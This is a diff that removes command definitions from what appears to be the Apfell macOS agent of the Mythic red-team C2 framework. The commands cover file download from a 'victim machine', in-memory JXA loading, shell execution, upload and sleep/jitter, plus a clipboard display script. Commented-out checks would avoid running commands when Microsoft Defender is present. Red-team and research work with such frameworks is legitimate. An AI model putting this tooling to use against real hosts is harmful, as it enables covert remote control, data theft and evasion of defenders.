description = "Download a file from the victim machine to the Mythic server in chunks (no need for quotes in the path)."
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:download"]
|
||||
author = "@its_a_feature_"
|
||||
parameters = []
|
||||
attackmapping = ["T1020", "T1030", "T1041"]
|
||||
argument_class = DownloadArguments
|
||||
browser_script = [BrowserScript(script_name="download", author="@its_a_feature_"),
|
||||
BrowserScript(script_name="download_new", author="@its_a_feature_", for_new_ui=True)]
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSFileHandle.fileHandleForReadingAtPath, readDataOfLength",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
task.display_params = task.args.command_line
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,37 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class ExitArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
|
||||
|
||||
class ExitCommand(CommandBase):
|
||||
cmd = "exit"
|
||||
needs_admin = False
|
||||
help_cmd = "exit"
|
||||
description = "This exits the current apfell agent by leveraging the ObjectiveC bridge's NSApplication terminate function."
|
||||
version = 1
|
||||
supported_ui_features = ["callback_table:exit"]
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = []
|
||||
argument_class = ExitArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSApplication.sharedApplication.terminate",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,62 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class JsimportArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file",
|
||||
type=ParameterType.File,
|
||||
description="Select a JXA file to upload",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
if self.command_line[0] == "{":
|
||||
self.load_args_from_json_string(self.command_line)
|
||||
else:
|
||||
raise ValueError("Missing JSON arguments")
|
||||
else:
|
||||
raise ValueError("Missing arguments")
|
||||
pass
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "file" in dictionary_arguments:
|
||||
self.add_arg("file", dictionary_arguments["file"])
|
||||
else:
|
||||
raise ValueError("Missing 'file' argument")
|
||||
|
||||
|
||||
class JsimportCommand(CommandBase):
|
||||
cmd = "jsimport"
|
||||
needs_admin = False
|
||||
help_cmd = "jsimport"
|
||||
description = "import a JXA file into memory"
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1020", "T1030", "T1041", "T1620", "T1105"]
|
||||
argument_class = JsimportArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
file_resp = await MythicRPC().execute("get_file",
|
||||
file_id=task.args.get_arg("file"),
|
||||
task_id=task.id,
|
||||
get_contents=False)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
original_file_name = file_resp.response[0]["filename"]
|
||||
else:
|
||||
raise Exception("Error from Mythic: " + str(file_resp.error))
|
||||
task.display_params = f"{original_file_name} into memory"
|
||||
file_resp = await MythicRPC().execute("update_file",
|
||||
file_id=task.args.get_arg("file"),
|
||||
delete_after_fetch=False,
|
||||
comment="Uploaded into memory for jsimport")
|
||||
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,43 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
|
||||
|
||||
class JsimportCallArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="command",
|
||||
type=ParameterType.String,
|
||||
description="The command to execute within a file loaded via jsimport",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to a file")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "command" in dictionary_arguments:
|
||||
self.add_arg("command", dictionary_arguments["command"])
|
||||
else:
|
||||
raise ValueError("Missing 'command' argument")
|
||||
|
||||
|
||||
class JsimportCallCommand(CommandBase):
|
||||
cmd = "jsimport_call"
|
||||
needs_admin = False
|
||||
help_cmd = "jsimport_call function_call();"
|
||||
description = "call a function from within the JS file that was imported with 'jsimport'. This function call is appended to the end of the jsimport code and called via eval."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1059.002"]
|
||||
argument_class = JsimportCallArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,51 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class ListEntitlementsArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="pid",
|
||||
type=ParameterType.Number,
|
||||
default_value=-1,
|
||||
description="Pid of the process to enumerate (-1 for all processes)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a path to a file")
|
||||
self.add_arg("pid", int(self.command_line))
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "pid" in dictionary_arguments:
|
||||
self.add_arg("pid", dictionary_arguments["pid"])
|
||||
|
||||
|
||||
class ListEntitlementsCommand(CommandBase):
|
||||
cmd = "list_entitlements"
|
||||
needs_admin = False
|
||||
help_cmd = 'list_entitlements [pid]'
|
||||
description = "This uses JXA to list the entitlements for a running process"
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1057"]
|
||||
argument_class = ListEntitlementsArguments
|
||||
supported_ui_features = ["list_entitlements:list"]
|
||||
browser_script = [BrowserScript(script_name="list_entitlements_new", author="@its_a_feature_", for_new_ui=True)]
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
if task.args.get_arg("pid") == -1:
|
||||
task.display_params = "for all running applications"
|
||||
else:
|
||||
task.display_params = "for pid " + str(task.args.get_arg("pid"))
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,90 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import base64
|
||||
import sys
|
||||
|
||||
|
||||
class LoadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(name="commands",
|
||||
type=ParameterType.ChooseMultiple,
|
||||
description="One or more commands to send to the agent",
|
||||
choices_are_all_commands=True),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a set of commands")
|
||||
self.add_arg("commands", self.command_line.split(" "))
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
if "commands" in dictionary_arguments:
|
||||
if isinstance(dictionary_arguments["commands"], str):
|
||||
self.add_arg("commands", dictionary_arguments["commands"].split(" "))
|
||||
else:
|
||||
self.add_arg("commands", dictionary_arguments["commands"])
|
||||
else:
|
||||
raise ValueError("Missing 'commands' argument")
|
||||
|
||||
|
||||
class LoadCommand(CommandBase):
|
||||
cmd = "load"
|
||||
needs_admin = False
|
||||
help_cmd = "load cmd1 cmd2 cmd3..."
|
||||
description = "This loads new functions into memory via the C2 channel."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
parameters = []
|
||||
attackmapping = ["T1030", "T1129", "T1059.002", "T1620"]
|
||||
argument_class = LoadArguments
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
total_code = ""
|
||||
commands = await MythicRPC().execute("get_commands",
|
||||
payload_type_name="apfell",
|
||||
commands=task.args.get_arg("commands"),
|
||||
os="macOS")
|
||||
if commands.status == "success":
|
||||
for cmd in commands.response:
|
||||
if cmd["script_only"]:
|
||||
# trying to load a script only command, so just tell mythic to load it
|
||||
add_resp = await MythicRPC().execute("add_commands_to_callback",
|
||||
task_id=task.id,
|
||||
commands=[cmd["cmd"]])
|
||||
if add_resp.status != "success":
|
||||
await MythicRPC().execute("create_output", task_id=task.id,
|
||||
output="Failed to add command to callback: " + add_resp.error)
|
||||
else:
|
||||
try:
|
||||
code_path = self.agent_code_path / "{}.js".format(cmd["cmd"])
|
||||
total_code += open(code_path, "r").read() + "\n"
|
||||
except Exception as e:
|
||||
await MythicRPC().execute("create_output",
|
||||
task_id=task.id,
|
||||
output=f"Failed to find code for {cmd['cmd']}, skipping it\n")
|
||||
if total_code != "":
|
||||
resp = await MythicRPC().execute("create_file", task_id=task.id,
|
||||
file=base64.b64encode(total_code.encode()).decode(),
|
||||
comment="Loading the following commands: " + task.args.command_line
|
||||
)
|
||||
if resp.status == MythicStatus.Success:
|
||||
task.args.add_arg("file_id", resp.response["agent_file_id"])
|
||||
task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}"
|
||||
else:
|
||||
raise Exception("Failed to register file: " + resp.error)
|
||||
else:
|
||||
task.status = "completed"
|
||||
task.display_params = f"the following commands: {' '.join(task.args.get_arg('commands'))}"
|
||||
await MythicRPC().execute("create_output", task_id=task.id,
|
||||
output="Loaded commands")
|
||||
else:
|
||||
raise Exception("Failed to fetch commands from Mythic: " + commands.error)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,73 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
|
||||
|
||||
class LsArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
default_value=".",
|
||||
description="Path of file or folder on the current system to list",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="fetch_attributes",
|
||||
type=ParameterType.Boolean,
|
||||
default_value=False,
|
||||
description="Indicate if extended attributes should be fetched for this command",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False
|
||||
)]
|
||||
)
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
if "host" in dictionary:
|
||||
# then this came from the file browser
|
||||
self.add_arg("path", dictionary["path"] + "/" + dictionary["file"])
|
||||
self.add_arg("file_browser", type=ParameterType.Boolean, value=True)
|
||||
else:
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
|
||||
class LsCommand(CommandBase):
|
||||
cmd = "ls"
|
||||
needs_admin = False
|
||||
help_cmd = "ls /path/to/file"
|
||||
description = "Get attributes about a file and display it to the user via API calls. No need for quotes and relative paths are fine"
|
||||
version = 2
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1106", "T1083"]
|
||||
supported_ui_features = ["file_browser:list"]
|
||||
argument_class = LsArguments
|
||||
browser_script = [BrowserScript(script_name="ls", author="@its_a_feature_"),
|
||||
BrowserScript(script_name="ls_new", author="@its_a_feature_", for_new_ui=True)]
|
||||
attributes = CommandAttributes(
|
||||
spawn_and_injectable=True,
|
||||
supported_os=[SupportedOS.MacOS],
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="fileManager.attributesOfItemAtPathError, fileManager.contentsOfDirectoryAtPathError",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
if task.args.has_arg("file_browser") and task.args.get_arg("file_browser"):
|
||||
host = task.callback.host
|
||||
task.display_params = host + ":" + task.args.get_arg("path")
|
||||
else:
|
||||
task.display_params = task.args.get_arg("path")
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,53 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
import json
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class PlistArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="filename",
|
||||
type=ParameterType.String,
|
||||
description="full filename path of type is just read",
|
||||
parameter_group_info=[ParameterGroupInfo(group_name="read")]
|
||||
),
|
||||
CommandParameter(
|
||||
name="type",
|
||||
type=ParameterType.ChooseOne,
|
||||
choices=["readLaunchAgents", "readLaunchDaemons"],
|
||||
description="read all launchagents/launchdaemons",
|
||||
default_value="readLaunchAgents",
|
||||
parameter_group_info=[ParameterGroupInfo()]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class PlistCommand(CommandBase):
|
||||
cmd = "plist"
|
||||
needs_admin = False
|
||||
help_cmd = "plist"
|
||||
description = "Read plists and their associated attributes for attempts to privilege escalate."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1083", "T1007"]
|
||||
argument_class = PlistArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="$.NSMutableDictionary.alloc.initWithContentsOfFile, fileManager.attributesOfItemAtPathError",
|
||||
artifact_type="API Called",
|
||||
)
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,88 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
|
||||
|
||||
class ShellArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(name="command", display_name="Command", type=ParameterType.String, description="Command to run"),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply a command to run")
|
||||
self.add_arg("command", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class ShellOPSEC(CommandOPSEC):
|
||||
injection_method = ""
|
||||
process_creation = "/bin/bash -c"
|
||||
authentication = ""
|
||||
|
||||
async def opsec_pre(self, task: MythicTask):
|
||||
# processes = await MythicRPC().execute("search_database", task_id=task.id, table="process",
|
||||
# host=task.callback.host)
|
||||
# if processes.status == MythicStatus.Success:
|
||||
# if len(processes.response) == 0:
|
||||
# task.opsec_pre_blocked = True
|
||||
# task.opsec_pre_message = f"This spawns {self.process_creation} and there is no process data on the host yet."
|
||||
# task.opsec_pre_message += "\nRun \"list_apps\" first to check for dangerous processes"
|
||||
# task.opsec_pre_bypass_role = "operator"
|
||||
# return
|
||||
# else:
|
||||
# processes = await MythicRPC().execute("search_database", task_id=task.id, table="process",
|
||||
# name="Microsoft Defender", host=task.callback.host)
|
||||
# if len(processes.response) > 0:
|
||||
# task.opsec_pre_blocked = True
|
||||
# task.opsec_pre_message = f"Microsoft Defender spotted on the host in running processes. Don't spawn commands this way"
|
||||
# else:
|
||||
# task.opsec_pre_blocked = True
|
||||
# task.opsec_pre_message = f"Failed to query processes from Mythic:\n{processes}"
|
||||
pass
|
||||
|
||||
async def opsec_post(self, task: MythicTask):
|
||||
# processes = await MythicRPC().execute("search_database", task_id=task.id,
|
||||
# table="process", name="Microsoft Defender", host=task.callback.host)
|
||||
# if processes.status == MythicStatus.Success:
|
||||
# if len(processes.response) > 0:
|
||||
# task.opsec_post_blocked = True
|
||||
# task.opsec_post_message = f"Microsoft Defender spotted on the host in running processes. Really, don't do this"
|
||||
# else:
|
||||
# task.opsec_post_blocked = True
|
||||
# task.opsec_post_message = f"Failed to query processes from Mythic:\n{processes}"
|
||||
pass
|
||||
|
||||
|
||||
class ShellCommand(CommandBase):
|
||||
cmd = "shell"
|
||||
needs_admin = False
|
||||
help_cmd = "shell {command}"
|
||||
description = """This runs {command} in a terminal by leveraging JXA's Application.doShellScript({command}).
|
||||
WARNING! THIS IS SINGLE THREADED, IF YOUR COMMAND HANGS, THE AGENT HANGS!"""
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1059", "T1059.004"]
|
||||
argument_class = ShellArguments
|
||||
opsec_class = ShellOPSEC
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="/bin/sh -c {}".format(task.args.get_arg("command")),
|
||||
artifact_type="Process Create",
|
||||
)
|
||||
resp = await MythicRPC().execute("create_artifact", task_id=task.id,
|
||||
artifact="{}".format(task.args.get_arg("command")),
|
||||
artifact_type="Process Create",
|
||||
)
|
||||
task.display_params = task.args.get_arg("command")
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,70 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
|
||||
|
||||
def positiveTime(val):
|
||||
if val < 0:
|
||||
raise ValueError("Value must be positive")
|
||||
|
||||
|
||||
class SleepArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="jitter",
|
||||
type=ParameterType.Number,
|
||||
validation_func=positiveTime,
|
||||
description="Percentage of C2's interval to use as jitter",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="interval",
|
||||
type=ParameterType.Number,
|
||||
validation_func=positiveTime,
|
||||
description="Number of seconds between checkins",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if self.command_line[0] != "{":
|
||||
pieces = self.command_line.split(" ")
|
||||
if len(pieces) == 1:
|
||||
self.add_arg("interval", pieces[0])
|
||||
self.remove_arg("jitter")
|
||||
elif len(pieces) == 2:
|
||||
self.add_arg("interval", pieces[0])
|
||||
self.add_arg("jitter", pieces[1])
|
||||
else:
|
||||
raise Exception("Wrong number of parameters, should be 1 or 2")
|
||||
else:
|
||||
self.load_args_from_json_string(self.command_line)
|
||||
|
||||
|
||||
class SleepCommand(CommandBase):
|
||||
cmd = "sleep"
|
||||
needs_admin = False
|
||||
help_cmd = "sleep [interval] [jitter]"
|
||||
description = "Modify the time between callbacks in seconds."
|
||||
version = 1
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1029"]
|
||||
argument_class = SleepArguments
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
task.display_params = str(task.args.get_arg("interval")) + "s"
|
||||
if task.args.get_arg("jitter") is not None:
|
||||
task.display_params += " with " + str(task.args.get_arg("jitter")) + "% jitter"
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
resp = await MythicRPC().execute("update_callback", task_id=response.task.id, sleep_info=response.response)
|
||||
|
||||
@@ -1,135 +0,0 @@
|
||||
from mythic_payloadtype_container.MythicCommandBase import *
|
||||
from mythic_payloadtype_container.MythicRPC import *
|
||||
import sys
|
||||
|
||||
class UploadArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="file", cli_name="new-file", display_name="File to upload", type=ParameterType.File, description="Select new file to upload",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=0
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="filename", cli_name="registered-filename", display_name="Filename within Mythic", description="Supply existing filename in Mythic to upload",
|
||||
type=ParameterType.ChooseOne,
|
||||
dynamic_query_function=self.get_files,
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=0,
|
||||
group_name="specify already uploaded file by name"
|
||||
)
|
||||
]
|
||||
),
|
||||
CommandParameter(
|
||||
name="remote_path",
|
||||
cli_name="remote_path",
|
||||
display_name="Upload path (with filename)",
|
||||
type=ParameterType.String,
|
||||
description="Provide the path where the file will go (include new filename as well)",
|
||||
parameter_group_info=[
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="Default",
|
||||
ui_position=1
|
||||
),
|
||||
ParameterGroupInfo(
|
||||
required=True,
|
||||
group_name="specify already uploaded file by name",
|
||||
ui_position=1
|
||||
)
|
||||
]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Must supply arguments")
|
||||
raise ValueError("Must supply named arguments or use the modal")
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
async def get_files(self, callback: dict) -> [str]:
|
||||
file_resp = await MythicRPC().execute("get_file", callback_id=callback["id"],
|
||||
limit_by_callback=False,
|
||||
get_contents=False,
|
||||
filename="",
|
||||
max_results=-1)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
file_names = []
|
||||
for f in file_resp.response:
|
||||
# await MythicRPC().execute("get_file_contents", agent_file_id=f["agent_file_id"])
|
||||
if f["filename"] not in file_names:
|
||||
file_names.append(f["filename"])
|
||||
return file_names
|
||||
else:
|
||||
await MythicRPC().execute("create_event_message", warning=True,
|
||||
message=f"Failed to get files: {file_resp.error}")
|
||||
return []
|
||||
|
||||
|
||||
class UploadCommand(CommandBase):
|
||||
cmd = "upload"
|
||||
needs_admin = False
|
||||
help_cmd = "upload"
|
||||
description = (
|
||||
"Upload a file to the target machine by selecting a file from your computer. "
|
||||
)
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:upload"]
|
||||
author = "@its_a_feature_"
|
||||
attackmapping = ["T1020", "T1030", "T1041", "T1105"]
|
||||
argument_class = UploadArguments
|
||||
attributes = CommandAttributes(
|
||||
suggested_command=True
|
||||
)
|
||||
|
||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
try:
|
||||
groupName = task.args.get_parameter_group_name()
|
||||
if groupName == "Default":
|
||||
file_resp = await MythicRPC().execute("get_file",
|
||||
file_id=task.args.get_arg("file"),
|
||||
task_id=task.id,
|
||||
get_contents=False)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
if len(file_resp.response) > 0:
|
||||
original_file_name = file_resp.response[0]["filename"]
|
||||
if len(task.args.get_arg("remote_path")) == 0:
|
||||
task.args.add_arg("remote_path", original_file_name)
|
||||
elif task.args.get_arg("remote_path")[-1] == "/":
|
||||
task.args.add_arg("remote_path", task.args.get_arg("remote_path") + original_file_name)
|
||||
task.display_params = f"{original_file_name} to {task.args.get_arg('remote_path')}"
|
||||
else:
|
||||
raise Exception("Failed to find that file")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to get file: " + str(file_resp.error))
|
||||
elif groupName == "specify already uploaded file by name":
|
||||
# we're trying to find an already existing file and use that
|
||||
file_resp = await MythicRPC().execute("get_file", task_id=task.id,
|
||||
filename=task.args.get_arg("filename"),
|
||||
limit_by_callback=False,
|
||||
get_contents=False)
|
||||
if file_resp.status == MythicRPCStatus.Success:
|
||||
if len(file_resp.response) > 0:
|
||||
task.args.add_arg("file", file_resp.response[0]["agent_file_id"])
|
||||
task.args.remove_arg("filename")
|
||||
task.display_params = f"existing {file_resp.response[0]['filename']} to {task.args.get_arg('remote_path')}"
|
||||
elif len(file_resp.response) == 0:
|
||||
raise Exception("Failed to find the named file. Have you uploaded it before? Did it get deleted?")
|
||||
else:
|
||||
raise Exception("Error from Mythic trying to search files:\n" + str(file_resp.error))
|
||||
except Exception as e:
|
||||
raise Exception("Error from Mythic: " + str(sys.exc_info()[-1].tb_lineno) + " : " + str(e))
|
||||
return task
|
||||
|
||||
async def process_response(self, response: AgentResponse):
|
||||
pass
|
||||
@@ -1,109 +0,0 @@
|
||||
function(task, responses){
|
||||
if(task.status.includes("error")){
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}else if(task.completed){
|
||||
if(responses.length > 0){
|
||||
if(responses[0] === "Successfully set the clipboard"){
|
||||
return {"plaintext": responses[0]};
|
||||
}else{
|
||||
try{
|
||||
let data = JSON.parse(responses[0]);
|
||||
let output_table = [];
|
||||
let all_keys = [];
|
||||
for(const [k,v] of Object.entries(data)){
|
||||
all_keys.push(k);
|
||||
if(k === "public.utf8-plain-text"){
|
||||
output_table.push({
|
||||
"key":{"plaintext": k},
|
||||
"value": {"plaintext": atob(v), "copyIcon": v.length > 0},
|
||||
"fetch": {"button": {
|
||||
"name": "Fetch Data",
|
||||
"type": "task",
|
||||
"ui_feature": "clipboard:list",
|
||||
"parameters": {"read": [k]}
|
||||
}},
|
||||
"view": {"button": {
|
||||
"name": v=== "" ? "Empty": "View",
|
||||
"type": "dictionary",
|
||||
"value": {[k]:atob(v)},
|
||||
"disabled": v === "",
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing " + k
|
||||
}}
|
||||
})
|
||||
}else{
|
||||
output_table.push({
|
||||
"key":{"plaintext": k},
|
||||
"value": {"plaintext": v, "copyIcon": v.length > 0},
|
||||
"fetch": {"button": {
|
||||
"name": "Fetch Data",
|
||||
"type": "task",
|
||||
"ui_feature": "clipboard:list",
|
||||
"parameters":{"read": [k]}
|
||||
}},
|
||||
"view": {"button": {
|
||||
"name": v=== "" ? "Empty": "View",
|
||||
"type": "dictionary",
|
||||
"value": {[k]:v},
|
||||
"disabled": v === "",
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing " + k
|
||||
}}
|
||||
})
|
||||
}
|
||||
}
|
||||
output_table.push({
|
||||
"key":{"plaintext": "Fetch All Clipboard Data"},
|
||||
"value": {"plaintext": ""},
|
||||
"fetch": {"button": {
|
||||
"name": "Fetch All Data",
|
||||
"type": "task",
|
||||
"ui_feature": "clipboard:list",
|
||||
"parameters": {"read": ["*"]}
|
||||
}},
|
||||
"view": {"button": {
|
||||
"name": "View",
|
||||
"type": "dictionary",
|
||||
"value": {},
|
||||
"disabled": true,
|
||||
"leftColumnTitle": "Key",
|
||||
"rightColumnTitle": "Values",
|
||||
"title": "Viewing "
|
||||
}}
|
||||
})
|
||||
return {
|
||||
"table": [
|
||||
{
|
||||
"headers": [
|
||||
{"plaintext": "fetch", "type": "button", "width": 150, "disableSort": true},
|
||||
{"plaintext": "view", "type": "button", "width": 100, "disableSort": true},
|
||||
{"plaintext": "key", "type": "string", "fillWidth": true},
|
||||
{"plaintext": "value", "type": "string", "fillWidth": true},
|
||||
|
||||
|
||||
],
|
||||
"rows": output_table,
|
||||
"title": "Clipboard Data"
|
||||
}
|
||||
]
|
||||
}
|
||||
}catch(error){
|
||||
console.log(error);
|
||||
const combined = responses.reduce( (prev, cur) => {
|
||||
return prev + cur;
|
||||
}, "");
|
||||
return {'plaintext': combined};
|
||||
}
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No output from command"};
|
||||
}
|
||||
}else{
|
||||
return {"plaintext": "No data to display..."};
|
||||
}
|
||||
}
|
||||
@@ -1,33 +0,0 @@
|
||||
function(task, responses){
|
||||
console.log(task)
|
||||
if(task.status.includes("error")){
|
||||
